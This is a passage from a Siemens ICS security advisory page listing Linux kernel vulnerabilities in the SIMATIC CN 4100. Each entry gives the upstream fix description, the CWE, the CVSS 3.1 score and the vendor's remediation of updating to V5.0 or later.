- Check for a NULL pch->chan before dereferencing it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39675\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 (\"drm/amd/display: Add null pointer check for get_first_active_display()\"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-394 Unexpected Status Code or Return Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.1\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd (\"x86/resctrl: Query LLC monitoring properties once during boot\") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39682\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser->buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser->buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-> ftrace_process_regex->strsep->strpbrk. We can solve this problem by limiting access to parser->buffer when trace_get_user failed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn->n` samples (each of which is an `unsigned int`). For some instruction types, `insn->n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn->n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn->n` is greater than 1, the remaining `insn->n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the \"vm80xx\" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it->options[1]` is 31, then `1 << it->options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it->options[1]` value to 30 or lower, or using `1U << it->options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39686\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn->n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn->n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn->n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn->n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn->n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39689\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--> return will return to caller put_bh --> trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39692\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference [WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1025 Comparison Using Wrong Factors\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-208 Observable Timing Discrepancy\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39703\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: 